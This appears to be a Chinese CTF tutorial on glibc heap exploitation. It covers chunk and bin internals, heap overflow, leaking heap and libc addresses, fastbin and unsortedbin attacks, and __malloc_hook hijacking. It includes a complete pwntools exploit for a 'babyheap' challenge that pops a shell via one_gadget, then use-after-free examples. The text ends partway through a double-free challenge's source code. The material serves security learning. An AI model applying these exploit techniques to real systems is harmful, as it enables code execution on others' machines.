* 00000000 表明文件偏移，由于这部分内容并不是从文件中映射得到的，所以为 0。
* 00:00 是主从 (Major/mirror) 的设备号，这部分内容也不是从文件中映射得到的，所以也都为 0。
* 0 表示着 Inode 号。由于这部分内容并不是从文件中映射得到的，所以为 0。
##### 1.1.5 Chunk
chunk是glibc管理内存的基本单位，整个堆在初始化后会被当成一个free chunk，称为top
chunk，每次用户请求内存时，如果bins中没有合适的chunk，malloc就会从top chunk中进行划分，如果top
chunk的大小不够，就调用brk函数扩展堆的大小，然后从新生成的top
chunk中进行划分。用户释放内存时，glibc会先根据情况将释放的chunk与其他相邻的free chunk合并，然后加入合适的bin中。
chunk的数据结构如下
struct malloc_chunk{
INTERNAL_SIZE_T mchunk_prev_size; 记录被释放的相邻chunk的大小。
INTERNAL_SIZE_T mchunk_size; 记录当前chunk的大小，chunk的大小都是8字节对齐
struct malloc_chunk *fd;
struct malloc_chunk *bk;
struct malloc_chunk *fd_nextsize;
struck malloc_chunk *bk_nextsize;
}
1.Fast bin
Fast bin分类的chunk的大小为32-128字节(0x80)字节，如果chunk在被释放时发现其大小满足这个要求，则将该chunk放入Fast
Bin。一个最新被加入的Fast Bin的chunk，其fd指针指向上一次加入的Fast Bin的chunk。
2.Small bin
Small
bin保存大小为32-1024（0x400）字节的chunk，每个放入其中的chunk为双链表结构，不同大小的chunk储存在对应的链接中。由于时双链表结构，所以他的速度比fast
bin慢一些。
3.Large bin
大于1024字节的chunk使用Large Bin进行管理。相同大小的Large Bin使用fd和bk指针连接，不同大小的Large
bin通过fd_nextsize和bk_nextsize按大小排序连接。
4.Unsorted Bin
Unsorted Bin相当于Ptmalloc2堆管理器的垃圾桶。chunk被释放后，会先加入Unsorted
Bin中，等待下次分配使用。在堆管理器的Unsorted Bin不为空的时候，用户申请非Fast Bin大小内存会先从Unsorted
Bin中查找，如果找到符合该申请的chunk(等于或者大于)，则直接分配或者分割该chunk。
##### 1.1.6 arena
arena包含一片或者数片连续的内存，对快将会从这片区域中划分给用户。主线程的arena被称为main_arena，它包含start_brk 和
brk之间的这片连续内存。一般把start_brk 和 brk之间这片连续的内存称为堆。
主线程arena只有堆，子线程的arena可以有数片连续的内存。如果主线程的堆大小不够分的话，就要通过brk函数调用来扩展，但是子线程分配的映射段大小是固定的，不可以扩展的，所以子线程分配处理的一段映射段不够用的话就需要再次使用mmap函数来分配新的内存。
#### 1.2 简单的堆漏洞
##### 1.2.1 堆溢出概述
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（
**之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数**
），因而导致了数据溢出，并覆盖到 **物理相邻的高地址** 的下一个堆块。
不难发现，堆溢出漏洞发生的基本前提是
* 程序向堆上写入数据。
* 写入的数据大小没有被良好地控制。
对于攻击者来说，堆溢出漏洞轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程。
堆溢出是一种特定的缓冲区溢出（还有栈溢出， bss
段溢出等）。但是其与栈溢出所不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此我们一般无法直接通过堆溢出来控制 EIP
。一般来说，我们利用堆溢出的策略是
1. 覆盖与其
物理相邻的下一个 chunk的内容。
* prev_size
* size，主要有三个比特位，以及该堆块真正的大小。
* NON_MAIN_ARENA
* IS_MAPPED
* PREV_INUSE
* the True chunk size
* chunk content，从而改变程序固有的执行流。
2. 利用堆中的机制（如 unlink 等 ）来实现任意地址写入（ Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。
##### 1.2.2 堆溢出总结
**1.寻找堆分配函数**
一般来说堆分配函数数就是malloc和free，但是某些情况下会使用calloc分配，calloc和molloc
的区别是calloc在分配后会自动进行清空。
calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);
还有一种分配是经过realloc函数进行分配的，realloc函数可以兼职malloc函数和free函数的功能
#include <stdio.h>
int main(void)
{
char *chunk,*chunk1;
chunk=malloc(16);
chunk1=realloc(chunk,32);
return 0;
}
realloc 的操作并不是像字面意义上那么简单，其内部会根据不同的情况进行不同操作
* 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
* 如果申请 size > 原来 size
* 如果 chunk 与 top chunk 相邻，直接扩展这个 chunk 到新 size 大小
* 如果 chunk 与 top chunk 不相邻，相当于 free(ptr),malloc(new_size)
* 如果申请 size < 原来 size
* 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节，32 位下 16 个字节)，则保持不变
* 如果相差可以容得下一个最小 chunk，则切割原 chunk 为两部分，free 掉后一部分
* 当 realloc(ptr,size) 的 size 等于 0 时，相当于 free(ptr)
* 当 realloc(ptr,size) 的 size 等于 ptr 的 size，不进行任何操作
**2.寻找危险函数**
通过寻找危险函数，我们快速确定程序是否可能有堆溢出，以及有的话，堆溢出的位置在哪里。
常见的危险函数如下
* 输入
* gets，直接读取一行，忽略 `'\x00'`
* scanf
* vscanf
* 输出
* sprintf
* 字符串
* strcpy，字符串复制，遇到 `'\x00'` 停止
* strcat，字符串拼接，遇到 `'\x00'` 停止
* bcopy
**3.确定填充函数**
这一部分主要是计算 **我们开始写入的地址与我们所要覆盖的地址之间的距离** 。 一个常见的误区是 malloc 的参数等于实际分配堆块的大小，但是事实上
ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍，比如 32 位系统是 8 个字节，64 位系统是 16 个字节。但是对于不大于 2
倍字长的请求，malloc 会直接返回 2 倍字长的块也就是最小 chunk，比如 64 位系统执行`malloc(0)`会返回用户区域为 16 字节的块。
#include <stdio.h>
int main(void)
{
char *chunk;
chunk=malloc(0);
puts("Get input:");
gets(chunk);
return 0;
}
//根据系统的位数，malloc会分配8或16字节的用户空间
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
**实际上 ptmalloc 分配内存是以双字为基本单位，以 64 位系统为例，分配出来的空间是 16 的整数倍，即用户申请的 chunk 都是 16
字节对齐的。**
#### 1.3 堆利用
在该章节中，我们会按照如下的步骤进行介绍
1. 介绍我们所熟知的动态内存分配的堆的宏观操作
2. 介绍为了达到这些操作所使用的数据结构
3. 介绍利用这些数据结构实现堆的分配与回收的具体操作
4. 由浅入深地介绍堆的各种利用技巧。
##### 8.3.1 通过堆进行信息泄露
**什么叫做信息泄露，leak？**
在 CTF 中，Pwn 题目一般都是运行在远端服务器上的。因此我们不能获知服务器上的 libc.so 地址、Heap
基地址等地址信息，但是在进行利用的时候往往需要这些地址，此时就需要进行信息泄漏。
**信息泄露的目标**
信息泄露的目标有哪些，可以通过看一下内存分布来了解
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/pwn
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/pwn
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/pwn
//首先第一个是主模块的基地址，因为只有在开启 PIE(地址无关代码) 的情况下主模块的基地址才会发生改变，因此通常情况下主模块的地址不需要泄漏。
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
//第二个是堆地址，堆地址对于进程来说是每次运行都会改变，当然需要控制堆中的数据时可能就需要先泄漏堆基地址。
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw-
0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw-
0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
//第三个是 libc.so 的地址，在很多情况下我们只有通过 libc 中的 system 等函数才能实现代码执行，并且 malloc_hook、one_gadgets、IO_FILE 等结构也都储存在 libc 中，因此 libc 的地址也是我们泄漏的目标。
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
**通过什么进行信息泄露**
通过前面的知识我们知道 heap 分为
unsorted bin、fastbin、smallbin、large bin 等，
我们逐个考察这些结构来查看如何进行泄漏。
**unsorted bin**
我们构造两个 unsorted bin 然后查看它的内存，现在在 unsorted bin 链表中存在两个块，第一个块的地址是
0x602000、第二个块的地址是 0x6020f0
0x602000: 0x0000000000000000 0x00000000000000d1
0x602010: 0x00007ffff7dd1b78 0x00000000006020f0 <=== 指向下一个块
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x00000000000000d1
0x602100: 0x0000000000602000 0x00007ffff7dd1b78 <=== 指向main_arena
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
因此我们知道通过 unsorted bin 我们可以获取到某个堆块的地址和 main_areana 的地址。一旦获取到某个堆块的地址就可以通过 malloc
的 size 进行计算从而获得堆基地址。一旦获取到 main_arena 的地址，因为 main_arena 存在于 libc.so 中就可以计算偏移得出
libc.so 的基地址。
**因此，通过 unsorted bin 可以获得：1.libc.so 的基地址 2.heap 基地址**
**fast bin**
我们构造了两个 fastbin 然后查看它们的内存，现在在 fastbin 链表中存在两个块，第一个块的地址是 0x602040，第二个块的地址是
0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000602000 0x0000000000000000 <=== 指向第一个块
根据前面的知识我们知道 fastbin 链表最末端的块 fd 域为 0，此后每个块的 fd 域指向前一个块。
**因此通过 fastbin 只能泄漏 heap 的基地址**
**small bin**
我们构造了两个 fastbin 然后查看它们的内存，现在在 fastbin 链表中存在两个块，第一个块的地址是 0x602000，第二个块的地址是
0x6020f0
0x602000: 0x0000000000000000 0x00000000000000d1
0x602010: 0x00007ffff7dd1c38 0x00000000006020f0 <=== 下一个块的地址
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x00000000000000d1
0x602100: 0x0000000000602000 0x00007ffff7dd1c38 <=== main_arena的地址
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
**因此，通过 smallbin 可以获得：1.libc.so 的基地址 2.heap 基地址**
**哪些漏洞可以用于泄漏**
通过前面的知识我们可以获知堆中存在哪些地址信息，但是想要获取到这些地址需要通过漏洞来实现 一般来说以下漏洞是可以进行信息漏洞的
* 堆内存未初始化
* 堆溢出
* Use-After-Free
* 越界读
* heap extend
1.通过UAF 读heapbase：
p0 = malloc(0x20);
p1 = malloc(0x20);
free(p0);
free(p1);
printf('heap base:%p',*p1);
由于 fastbin list 的特性，当我们构造一条 fastbin list 的时候
(0x30) fastbin[1]: 0x602030 --> 0x602000 --> 0x0
存在 chunk 1 -> chunk 0 的现象，如果此时 UAF 漏洞存在，我们可以通过 show chunk 1，将 chunk 0 的地址打印出来
同理可以泄露 libc base
p0 = malloc(0x100);
free(p0);
printf("libc: %p\n", *p0);
# bin介绍
fastbins是单链表存储结构
unsortedbin、smallbins、largebins都是双向循环链表存储
并且free掉的chunk，如果大小在0x20~0x80之间会直接放到fastbins链表上去，大于0x80的会先放到unsortedbin上，然后进行整理。
**fastbins的存储采用后进先出的原则：**
后free的chunk会被添加到先free的chunk的后面；同理，通过malloc取出chunk时是先去取最新放进去的。
free(chunk1)
free(chunk2)
free(chunk3)
----fastbin----- chunk3->chunk2->chunk1
---------------- malloc(0x10) ->chunk3
----fastbin----- chunk2->chunk1
----------------
因此，fastbins中的所有chunk的bk是没有用到的，因为是单链表。
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *p1=malloc(0x10);
int *p2=malloc(0x10);
int *p3=malloc(0x20);
puts("1");
free(p1);
free(p2);
free(p3);
return 0;
}
断点在puts函数
查看堆和bin
然后再下一步，free p1 p2 p3
**unsortedbins的存储采用先进先出的原则：**
就跟队列差不多，先放进去的先出来，但是当它里面只有一个bin的时候，fd和bk就会指向同一个地方，main_arena+0x58
--------unsortedbins---------- main_arena+0x58
unsorted bin chunk1{
fd;
bk;
}
unsorted bin chunk2{
fd;
bk;
}
测试代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *p1=malloc(0x100);
int *p2=malloc(0x100);
puts("1");
free(p1);
free(p2);
return 0;
}
还是断到puts上面
free p1之后
## fastbin attack
### 原理
首先是因为free一个fastbin大小的chunk，会被放入fastbins链表中。如果此时通过malloc`*p=malloc(0x10)`申请一个区域，然后再把它free到fastbin中，但是不使得p的指针为NULL,就仍然会指向chunk的地址。
然后fastbin中的bin头的fd指针由于后进先出的原理还是指向我们刚刚的那个chunk，而p指针指向的就是这个chunk的fd。
此时这个chunk的fd指针指向的是0（滞空），那我们就可以通过修改p指针将fd指针指向我们所需要的 **目标地址** ，
*p=target_addr
fd=p;
然后去malloc一个跟我们释放的chunk相等大小的chunk，那么本来哪个被free掉的chunk就会从fastbin中被申请到实际堆内存中，然后fastbin的链表就被断掉了，这样就会使得arena的fastbin的bin头的fd指针指向于我们的target地址
int *q=malloc(size)
此时bin头的fd指针已经指向target的地址了，如果我们再去malloc，就是把target这块地址malloc到堆内存了，这样就可以使用target地址，对它进行操作了
int *target=malloc(size)
### target_addr 的构造
**检测：** 从fastbin中malloc一个freechunk的时候，会进行一些检测。
1：malloc的freechunk的大小需要在fastbin大小范围内（0x30-0x40时，却申请一个0x50的chunk，那么就不行）
2：检查chunk中的size的PREV_INUSE的数值，为1才能通过检测。
检测1：检测你要malloc的freechunk的大小是否在该chunk所在的fastbin链的大小尺寸范围内（例如：一个fastbin链所存储的chunk大小必须在0x30-0x40之间，但是你要申请的这个chunk却是0x50，那么就会程序就报错退出）。
检测2：检测你这个freechunk的size成员的PREV_INUSE为是否为1，为1才可以通过检测。
**构造：**
1.需要让target目标地址指定到size成员地址处的数值，能曼珠检测1
2.当target地址处的数值不能曼珠fastbin要求时，可以通过内存地址的偏移，取target地址附近的其他地址。例如
此时我们就不是直接把target地址作为攻击的地址，因为它指定的偏移地址处的size成员不满足检测2.
3.我们选取攻击目标地址的偏移size成员数值的NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE位都要为1，然后此时fastbin中的chunk大小为0x70~0x80，而伪造size成员处的数值为0x71时就不能符合要求，但是0x7f因为多了2个位就可以满足要求。
4.在二次malloc的时候，最好malloc一个大小在0x70~0x80之间的堆块（从之前的调试可以看出，其实此时的size要为0x60~0x70）这个我是申请了0x60和0x70，但此时chunk的大小为0x71和0x81。
申请了这样的chunk时，我们的目标地址就会被放入0x70~0x80范围的fastbin中，就可以通过0x7f来跳过检测1
#### 5.利用unsortedbin attack构造一个0x7f地址来构造target_addr
**核心思想**
一般情况下，只能在目标地址上写一个大数值，而且unsortedbin attack通常是为了配合fastbin
attack的构造target_addr使用的。
**原理**
unsortedbin正常存储freechunk的结构如图所示，此时这个freechunk是我们还可以通过指针操控的（虽然free了但没有置空）。
如果在取走堆块之前，将chunk1的bk指针修改成target地址
此时我们再去malloc申请chunk
就会有操作代码
bck = freechunk->bk;
unsorted_chunks(av)->bk = bck;
bck-fd = unsorted_chunks(av);
操作过后就如图
此时target的fd内容就是unsortedbin头的fd指针（glibc中fd指针肯定是0x7f开头的大数值）。因此就实现target地址的指定位置处写入了一个大的数值。
**在fastbin attack中的运用：**
当fastbin
attack中构造堆块的时候，需要将目标地址的size数值处写入一个0x7f才能通过检测1的检查，如果没有办法写入0x7f的话，就需要用到unsortedbin
attack，将构造堆块的地址作为unsortedbin
attack的目标地址，通过改写unsortedbin头的fd指针为目标地址，就可以在指定位置写入0x7f的数值了（ **要计算好偏移位置** )
**操作：**
1.malloc fastchunk 0x70
2.free fastchunk
3.fastchunk.fd - > target_addr
4.malloc unsortedchunk 0x100
5.free unsortedchunk
6.改变 0x100+0x8的位置为target_addr （就是bk的位置)
7.malloc 0x100 此时已经把bin头的地址跟target.fd连接起来了
8.malloc 0x70 将第一次malloc的堆块取出来，此时fastbin中只有target了
9.malloc 0x70 取出target
(其中1 2 3 8 9是fastbin attack 4 5 6 7是unsortedbin attack)
其中第8步来看一下。
我们在第3步的时候，是通过指针来使得fastchunk.fd->target_addr的。
但是实际上，target_addr是没有落在fastbin上面的。只能算是被连接到fastbin上面了
所以在malloc 0x70的时候取出fastchunk，但是fastbin中仍然存在着target
我们申请unsortedbinchunk并且修改bk指针为target_addr，的目的只是为了让bin头指向target.fd
**例子**
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int size=0x100;
char *p=malloc(size);
printf("%p\n",p);
free(p);
puts("1"); //第一步
*(long*)(p+8)=0x601100; //0x601100是我们的攻击目标
puts("2"); //第二步
char *r=malloc(size);
printf("%p\n",r);
puts("3"); //第三步
return 0;
}
由于申请了0x100的堆块，所以它被释放之后会被放入unsortedbin中
可以看到freechunk的bk和fd都指向于malloc_state结构体中的bin链头fd处。
然后在让bk指向target
最后一步的这个0x3，就是偏移了，因为我们只想取得0x7f，而0x601110的高位才是0x7f。
然后可以看到第三位才是7f，所以偏移是0x3.
### _malloc_hook攻击
**原理：** **malloc_hook攻击原理为fastbin attack，通过fastbin attack，我们可以发起**
malloc_hook攻击，将__malloc_hook作为我们的target。
malloc源代码
void * __libc_malloc (size_t bytes){
mstate ar_ptr;
void *victim;
//读取_malloc_hook钩子，如果有钩子，则运行钩子函数并返回
void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
arena_get (ar_ptr, bytes); //寻找一共合适的arena来加载内存
victim = _int_malloc (ar_ptr, bytes);//尝试调用_int_malloc()来分配内存
如果没有找到合适的内存，就尝试找一个可用的arena
if (!victim && ar_ptr != NULL){
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL) //如果锁定了arena，还需要解锁该arena
(void) mutex_unlock (&ar_ptr->mutex);
return victim;
}
方向①：我们可以将 **malloc_hook函数指针改为got表中的其它函数指针，那么当执行malloc的时候就回去直接执行我们修改的函数。
方向②：如果我们将**malloc_hook函数指针修改为one_gadget的地址，那么我们就可以在执行malloc的时候起一个shell。
**方法：** 进程的_malloc_hook地址一定为0x7ffff7dd1b10，所以我们将0x7ffff7dd1b10作为我们的target目标。
但是由于0x7ffff7dd1b10地址的指定偏移处的size成员数值不能够满足glibc的检测，因此我们需要在malloc_hook地址附近找一块合适的地址作为我们的攻击目标。下图可以看出0x7ffff7dd1b10地址的数值都为0不符合要求。
通过尝试发现，0x7ffff7dd1b10-0x23地址处的指定8字节偏移处的数值能够满足glibc的检测，所以我们最终把0x7ffff7dd1b10-0x23=0x7ffff7dd1aed地址作为我们的攻击目标。从下图可以看出，0x7ffff7dd1b10-0x23地址的数值为0x7f，满足size成员的要求。
## babyheap-new
### 漏洞利用
程序主要在fill函数的地方存在堆溢出，且开启的PIE，需要泄露libc_base的地址。开启了Full
RELRO就说明不能使用修改got表劫持程序的控制流。
所以就考虑劫持malloc_hook函数并且修改malloc_hook为onegadget获取shell。
泄露libc_base使用的是堆块堆叠，将一共fast chunk和unsorted chunk重叠，然后释放unsorted
chunk，就可以通过打印fast chunk获取想要的地址。
先上脚本，然后跟着脚本(看的自己有修改)进行调试。
from pwn import *
p=process("./babyheap")
#p=remote("node4.buuoj.cn",26283)
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(idx,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvline()
return p.recvline()
allocate(0x10) #chunk0
allocate(0x10) #chunk1
allocate(0x10) #chunk2
allocate(0x10) #chunk3
allocate(0x80) #chunk4
free(1)
free(2)
#gdb.attach(p)
payload = "a"*0x10
payload += p64(0) + p64(0x21)
payload += p64(0) + "a"*8
payload += p64(0) + p64(0x21)
payload += p8(0x80) #chunk2->fd = chunk4
fill(0,payload)
#gdb.attach(p)
payload = "A"*0x10
payload += p64(0) + p64(0x21) #chunk4->size
fill(3,payload)
#gdb.attach(p)
allocate(0x10) #chunk1
allocate(0x10) #chunk2, 重叠chunk4
//fill(1,'aaaa')
//fill(2,'bbbb')
payload = "A"*0x10
payload += p64(0) + p64(0x91) #chunk4->size
fill(3,payload)
allocate(0x80) #chunk5
free(4)
leak_addr = u64(dump(2)[:8])
libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + libc.symbols['_malloc_hook']
allocate(0x60) #chunk4
free(4)
#payload = p64(malloc_hook - 0x20+0xd)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
allocate(0x60) #chunk4
allocate(0x60) #chunk6(fake chunk)
one_gadget = libc + 0x4526a
payload = p8(0)*3 +p64(0)*2+ p64(one_gadget)
fill(6, payload)
#gdb.attach(p)
allocate(0x10)
p.interactive()
初始内存分布
可以看到，heap从 0x555b0e321000开始
然后我们释放chunk1和chunk2 `free(1);free(2)`此时在单链表fastbin中chunk2->fd 指向chunk1.
如果利用栈溢出的漏洞，修改堆内存，把chunk2->fd，使它指向chunk4，就可以将unsortedbin chunk，链接到fastbin中。
但是此时害需要把chunk4->size的0x91修改成0x21,绕过检测1即malloc对fastbin chunk大小的检查。
由于程序开启了PIE，所以实际上我们是不知道heap的地址的，因为它是随机的，但是heap的起始地址的低字节一定是0x00，那么chunk4的低字节位一定是0x80(因为每个chunk相隔0x20)
这种情况是在申请前面的init函数中的那个table空间申请使用mmap系统调用，而不是通过malloc函数调用，是为了保证chunk是从heap的起始地址开始分配的。
此时开启这个断点。
将0x80写入chunk2的fd指针了，即chunk2->fd -> chunk4
此时再次申请空间，根据fastbin后进先出的原理，那么实际上调用的是chunk2，在chunk2的位置创建一共new
chunk1，在chunk4的位置创造一个重叠的new chunk2.
先来查看一下，chunk4修改size，使其通过malloc的fastbin大小检查
可以看到在0x80的size位变成了0x21
这边的chunk的结构是一共占0x20个位置，第一个0x8，放置1或者0，查看chunk是否可以使用，第二个0x8存放size
最后的0x10存放content，但是这个content可以溢出嘛，然后写到下面一位的第一个0x8第二个0x8这样
在断到重新申请chunk
由于unsortedbin双链表，会产生chunk4和top chunk合并，所以申请完chunk4之后要将chunk4->size
修改0x91，并且申请一个unsortedbin chunk，这样释放的chunk4就可以将它放入unsortedbin。
chunk5为防止合并的chunk
此时chunk4的fd，bk指针均指向main_arena+88，又因为这个是起始地址，所以只要找libc的起始地址然后做差就行（main_arena和libc有一个固定偏移0x3c4b20）
hex(3951480) = 0x3c4b78
libc_base = fd_addr - 0x58 - 0x3c4b20
接下来就是修改_malloc_hook了，malloc_hook指向void _function(size_t size, void_
caller),调用malloc函数的时候，首先会判断hook函数指针是否为空，不为空才调用它。所以需要使得malloc_hook指向one_gadget。但是由于fast
chunk的大小只能在0x20到0x80之间,那么就要计算偏移了，因为要找到0x7f
此时malloc_hook滞空，但是上面却有0x7f，那么它们相差多少距离
相差一个0x10再-2个字节，0xd
此时所拥有0xd这个位置的chunk就称fake chunk，因为它不会在heap中出现。
断到发送payload后面
然后我们把它申请回来，但是此时只把fastbin链表后面那个申请回来了
要想把这个0x7f申请回来，则需要再申请一个0x60的大小
这个时候就把0x7f给申请回来了。那下一步就是修改这个目标地址的数据为one_gadget
这样就成功的往malloc_hook中写入one_gadget了。
那么p8(0) _3 + p64(0)_ 2这个是怎么计算出来的呢
我们回过头看一下main_arena-0x30这个位置。
由于需要0x7f才能通过fastbin的malloc检查，所以我们在malloc那个fake
chunk的时候需要那个size位上面是0x7f。这才导致我们用上了+0xd这个位置，但是我们的目标地址是malloc_hook，实际上是要更改malloc_hook的参数，所以在最后写入one_gadget的时候要计算一下位置，p8(0)*3的意思是0x7f距离刚开始有6个位置(0x00007f)，然后从上面的2个0x8
0x8(2个地址)开始填充，所以需要这么大的空间，才能刚刚好把one_gadget写在0x00007f。。。。。
再最后调用calloc函数就能调用malloc_hook。
##### 8.3.2 Use After Free
**原理**
简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
* 内存块被释放后，其对应的指针被设置为 NULL ，然后再次使用，自然程序会崩溃。
* 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么 **程序很有可能可以正常运转** 。
* 内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时， **就很有可能会出现奇怪的问题** 。
而我们一般所指的 **Use After Free** 漏洞主要是后两种。此外， **我们一般称被释放后没有被设置为 NULL 的内存指针为
dangling pointer。**
**UAF漏洞利用过程：**
1. 申请一段空间，并将其释放，释放后的指针不清空，将这个指针简称为p1
2. 申请空间p2， 由于malloc分配过程原则，使得p2指向刚刚释放的p1的空间，构造特殊的数据将这段内存空间覆盖
3. 利用p1，一般会多出一个函数的指针，由于之前已经使用p2将p1的数据给覆盖了，所以此时p1上的数据是我们可以控制的，就存在劫持函数流的可能
###### **例题1.不重置指针**
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint; //指向myprint函数
a->myname = "I can also use it";
a->func("this is my function"); //打印出this is my function
// free without modify
free(a); //释放a的空间，但是不重置指针为NULL
a->func("I can also use it"); //仍然会打印出I can also use it
// free with modify
a->func = printmyname; //给指针赋值上新函数
a->func("this is my function"); //此时就不会打印出this is my function而是 call print my name
// set NULL
a = NULL; //设置指针为空
printf("this pogram will crash...\n");
a->func("can not be printed..."); //无效，没有反应
}
最后输出的结果
this is my function
I can also use it
call print my name
this pogram will crash...
###### 2.例题double free
目录
1.程序分析
main.c
crate函数
delete函数
2.漏洞分析
UAF漏洞
3.思路
利用UAF漏洞将结构体函数修改成put函数
通过获取程序基地址绕过PIE
通过修改printf函数泄露libc_base,或者通过计算偏移得出libc_base
再次利用UAF漏洞将结构体函数修改成system函数，并在寄存器上布置/bin/sh
4.总结与理解
**程序分析**
从源代码部分进行分析，再从反编译层面理解
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct String{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;
struct {
int inuse;
String *str;
} Strings[0x10];
void showMenu(void);
int getInt(void);
void creatStr();
void deleteStr();
void freeShort(String *str);
void freeLong(String *str);
int getInt(void) {
char str[11];
char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' && i < 10 && ch != -1; i++) {
str[i] = ch;
}
str[i] = 0;
return atoi(str);
}
int main(void) {
char buf[1024];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
printf("+++++++++++++++++++++++++++\n");
printf("So, let's crash the world\n");
printf("+++++++++++++++++++++++++++\n");
while (1) {
showMenu();
if(read(STDIN_FILENO,buf,1024)==0){
return 1;
}
if(!strncmp(buf,"create ",7)) {
creatStr();
}
else if (!strncmp(buf,"delete ",7)) {
deleteStr();
}
else if(!strncmp(buf,"quit ",5)) {
printf("Bye~\n");
return 0;
}
else{
printf("Invalid cmd\n");
}
}
}
void freeShort(String *str) {
free(str);
}
void freeLong(String *str) {
free(str->o.buf);
free(str);
}
void deleteStr() {
int id;
char buf[0x100];
printf("Pls give me the string id you want to delete\nid:");
id = getInt();
if (id < 0 || id > 0x10) {
printf("Invalid id\n");
}
if (Strings[id].str) {
printf("Are you sure?:");
read(STDIN_FILENO,buf,0x100);
if(strncmp(buf,"yes",3)) {
return;
}
Strings[id].str->free(Strings[id].str);
Strings[id].inuse = 0;
}
}
void creatStr() {
String *string = malloc(sizeof(String));
int i;
char *str = NULL;
char buf[0x1000];
size_t size;
printf("Pls give string size:");
size = (size_t) getInt();
if (size < 0 || size > 0x1000) {
printf("Invalid size\n");
free(string);
return;
}
printf("str:");
if (read(STDIN_FILENO, buf, size) == -1) {
printf("got elf!!\n");
exit(1);
}
size = strlen(buf);
if (size < 16) {
strncpy(string->o.array, buf, size);
string->free = freeShort;
}
else {
